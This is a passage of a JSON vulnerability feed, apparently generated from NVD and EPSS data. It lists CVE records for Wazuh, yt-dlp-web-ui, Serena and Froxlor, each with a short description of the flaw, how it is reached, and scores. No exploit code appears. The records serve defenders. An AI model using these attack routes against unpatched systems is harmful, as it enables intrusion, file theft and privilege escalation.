exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74041","cveId":"CVE-2026-74041","aliases":[],"kind":"vulnerability","title":"Wazuh 4.14.3 before 4.14.8 and 4.10.4 contains a case-sensitivity mismatch between the ossec.conf validator and wazuh-logcollector that bypasses remote-command validation.","summary":"Wazuh 4.14.3 before 4.14.8 and 4.10.4 contains a case-sensitivity mismatch between the ossec.conf validator and wazuh-logcollector that bypasses remote-command validation. Authenticated users with manager:update_config can inject an uppercase LOG_FORMAT command localfile that the collector runs as root on reload.","detail":"Wazuh 4.14.3 before 4.14.8 and 4.10.4 contains a case-sensitivity mismatch between the ossec.conf validator and wazuh-logcollector that bypasses remote-command validation. Authenticated users with manager:update_config can inject an uppercase LOG_FORMAT command localfile that the collector runs as root on reload.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:40.860Z","updatedAt":"2026-10-26T14:16:39.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74041","asOf":"2026-10-26T14:16:39.723Z"},"epss":{"probability":0.00458,"percentile":0.39427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74041&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74041","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74041","type":"primary","publishedAt":"2026-10-13T14:17:40.860Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74041&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74041, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74037","cveId":"CVE-2026-74037","aliases":[],"kind":"vulnerability","title":"Wazuh 4.0.0 before 4.14.8 fails to invalidate issued tokens for run_as users with zero static roles, because check_token never consults the blacklist.","summary":"Wazuh 4.0.0 before 4.14.8 fails to invalidate issued tokens for run_as users with zero static roles, because check_token never consults the blacklist. Attackers with revoked administrator grants can continue authenticating and self-link the administrator role to permanently retain privileged access.","detail":"Wazuh 4.0.0 before 4.14.8 fails to invalidate issued tokens for run_as users with zero static roles, because check_token never consults the blacklist. Attackers with revoked administrator grants can continue authenticating and self-link the administrator role to permanently retain privileged access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:40.570Z","updatedAt":"2026-10-18T13:16:39.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74037","asOf":"2026-10-18T13:16:39.763Z"},"epss":{"probability":0.00491,"percentile":0.41886,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74037&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74037","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74037","type":"primary","publishedAt":"2026-10-13T14:17:40.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74037&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74037, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74036","cveId":"CVE-2026-74036","aliases":[],"kind":"vulnerability","title":"Wazuh from 4.3.0 before 4.14.8 contains a remote code execution vulnerability where SCA policy trust is determined by file path rather than configuration source.","summary":"Wazuh from 4.3.0 before 4.14.8 contains a remote code execution vulnerability where SCA policy trust is determined by file path rather than configuration source. Attackers controlling a manager can write unsigned policy files to var/incoming via the upgrade channel and reference them to execute command checks as root on agents.","detail":"Wazuh from 4.3.0 before 4.14.8 contains a remote code execution vulnerability where SCA policy trust is determined by file path rather than configuration source. Attackers controlling a manager can write unsigned policy files to var/incoming via the upgrade channel and reference them to execute command checks as root on agents.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:40.410Z","updatedAt":"2026-10-15T15:49:21.457Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74036","asOf":"2026-10-15T15:49:21.457Z"},"epss":{"probability":0.0083,"percentile":0.5728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74036&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74036","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74036","type":"primary","publishedAt":"2026-10-13T14:17:40.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74036&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74036, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74035","cveId":"CVE-2026-74035","aliases":[],"kind":"vulnerability","title":"Wazuh versions from 4.6.0 before 4.14.8 contain an authentication bypass vulnerability where security.update_user places the reserved user guard and password policy inside a falsy...","summary":"Wazuh versions from 4.6.0 before 4.14.8 contain an authentication bypass vulnerability where security.update_user places the reserved user guard and password policy inside a falsy truthiness check. A delegated user administrator can send an empty password to the user update endpoint, bypassing the reserved user guard to take over the wazuh superuser account and authenticate with empty credentials.","detail":"Wazuh versions from 4.6.0 before 4.14.8 contain an authentication bypass vulnerability where security.update_user places the reserved user guard and password policy inside a falsy truthiness check. A delegated user administrator can send an empty password to the user update endpoint, bypassing the reserved user guard to take over the wazuh superuser account and authenticate with empty credentials.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:40.253Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74035","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.00501,"percentile":0.42594,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74035","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74035","type":"primary","publishedAt":"2026-10-13T14:17:40.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74034","cveId":"CVE-2026-74034","aliases":[],"kind":"vulnerability","title":"Wazuh from 4.1.0 before 4.14.8 contains a missing origin check in wm_agent_upgrade that allows enrolled agents to issue upgrade_custom commands with attacker-controlled file_path.","summary":"Wazuh from 4.1.0 before 4.14.8 contains a missing origin check in wm_agent_upgrade that allows enrolled agents to issue upgrade_custom commands with attacker-controlled file_path. Attackers can inject an upgrade_custom message over the agent channel to read arbitrary files as root, exfiltrating /etc/shadow and client.keys.","detail":"Wazuh from 4.1.0 before 4.14.8 contains a missing origin check in wm_agent_upgrade that allows enrolled agents to issue upgrade_custom commands with attacker-controlled file_path. Attackers can inject an upgrade_custom message over the agent channel to read arbitrary files as root, exfiltrating /etc/shadow and client.keys.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:40.087Z","updatedAt":"2026-10-15T15:49:21.457Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74034","asOf":"2026-10-15T15:49:21.457Z"},"epss":{"probability":0.00434,"percentile":0.37381,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74034&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74034","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74034","type":"primary","publishedAt":"2026-10-13T14:17:40.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74034&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74034, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74033","cveId":"CVE-2026-74033","aliases":[],"kind":"vulnerability","title":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the get_lists() and delete_list_file() CDB list handlers that allows compromised cluster workers to read...","summary":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the get_lists() and delete_list_file() CDB list handlers that allows compromised cluster workers to read or delete master files. Attackers can send traversal or absolute-path filenames through the internal cluster RPC path, bypassing REST validation and RBAC to delete files like rbac.db.","detail":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the get_lists() and delete_list_file() CDB list handlers that allows compromised cluster workers to read or delete master files. Attackers can send traversal or absolute-path filenames through the internal cluster RPC path, bypassing REST validation and RBAC to delete files like rbac.db.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:39.943Z","updatedAt":"2026-10-16T22:17:55.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74033","asOf":"2026-10-16T22:17:55.557Z"},"epss":{"probability":0.00343,"percentile":0.27559,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74033","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74033","type":"primary","publishedAt":"2026-10-13T14:17:39.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74031","cveId":"CVE-2026-74031","aliases":[],"kind":"vulnerability","title":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the delete_rule_file and delete_decoder_file helpers that allows malicious cluster workers to delete...","summary":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the delete_rule_file and delete_decoder_file helpers that allows malicious cluster workers to delete arbitrary files via an unvalidated filename parameter. Attackers holding the cluster key can invoke these helpers through DistributedAPI with traversal sequences to delete ossec.conf, client.keys, or rules as the wazuh user.","detail":"Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the delete_rule_file and delete_decoder_file helpers that allows malicious cluster workers to delete arbitrary files via an unvalidated filename parameter. Attackers holding the cluster key can invoke these helpers through DistributedAPI with traversal sequences to delete ossec.conf, client.keys, or rules as the wazuh user.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:39.633Z","updatedAt":"2026-10-15T15:49:21.457Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74031","asOf":"2026-10-15T15:49:21.457Z"},"epss":{"probability":0.0051,"percentile":0.43254,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74031&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74031","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74031","type":"primary","publishedAt":"2026-10-13T14:17:39.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74031&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74031, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109967","cveId":"CVE-2026-109967","aliases":[],"kind":"vulnerability","title":"yt-dlp-web-ui through 4.0.0 contains a NULL pointer dereference vulnerability in the Service.Formats JSON-RPC method that allows remote unauthenticated attackers to crash the...","summary":"yt-dlp-web-ui through 4.0.0 contains a NULL pointer dereference vulnerability in the Service.Formats JSON-RPC method that allows remote unauthenticated attackers to crash the server. Attackers can send a single request with a url value like --version, causing invalid yt-dlp JSON output and an unrecovered panic that terminates the process.","detail":"yt-dlp-web-ui through 4.0.0 contains a NULL pointer dereference vulnerability in the Service.Formats JSON-RPC method that allows remote unauthenticated attackers to crash the server. Attackers can send a single request with a url value like --version, causing invalid yt-dlp JSON output and an unrecovered panic that terminates the process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:36.390Z","updatedAt":"2026-10-16T22:17:20.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109967","asOf":"2026-10-16T22:17:20.490Z"},"epss":{"probability":0.00562,"percentile":0.46442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109967&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109967","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109967","type":"primary","publishedAt":"2026-10-13T14:17:36.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109967&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109967, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109965","cveId":"CVE-2026-109965","aliases":[],"kind":"vulnerability","title":"Serena before 2.0.0 contains an improper link resolution vulnerability that allows attackers to access files outside the project root by committing symlinks inside a repository.","summary":"Serena before 2.0.0 contains an improper link resolution vulnerability that allows attackers to access files outside the project root by committing symlinks inside a repository. Project.is_path_in_project() normalizes paths lexically without resolving symlinks, so file tools like read_file and create_text_file can read or overwrite files such as SSH keys or cloud credentials.","detail":"Serena before 2.0.0 contains an improper link resolution vulnerability that allows attackers to access files outside the project root by committing symlinks inside a repository. Project.is_path_in_project() normalizes paths lexically without resolving symlinks, so file tools like read_file and create_text_file can read or overwrite files such as SSH keys or cloud credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:36.060Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109965","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00223,"percentile":0.12812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109965","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109965","type":"primary","publishedAt":"2026-10-13T14:17:36.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109961","cveId":"CVE-2026-109961","aliases":[],"kind":"vulnerability","title":"Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via...","summary":"Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via the unvalidated additional_members parameter of the Ftps.add API. Attackers can embed newline characters that the REBUILD_NSSUSERS cron writes unsanitized into /var/lib/extrausers/group, creating privileged group entries for local privilege escalation.","detail":"Froxlor 0.10.0 before 2.3.14 contains a newline injection vulnerability that allows authenticated customers to inject arbitrary entries into the root-owned NSS group database via the unvalidated additional_members parameter of the Ftps.add API. Attackers can embed newline characters that the REBUILD_NSSUSERS cron writes unsanitized into /var/lib/extrausers/group, creating privileged group entries for local privilege escalation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:35.407Z","updatedAt":"2026-10-13T14:17:35.537Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109961","asOf":"2026-10-13T14:17:35.537Z"},"epss":{"probability":0.00223,"percentile":0.12826,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109961&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109961","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109961","type":"primary","publishedAt":"2026-10-13T14:17:35.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 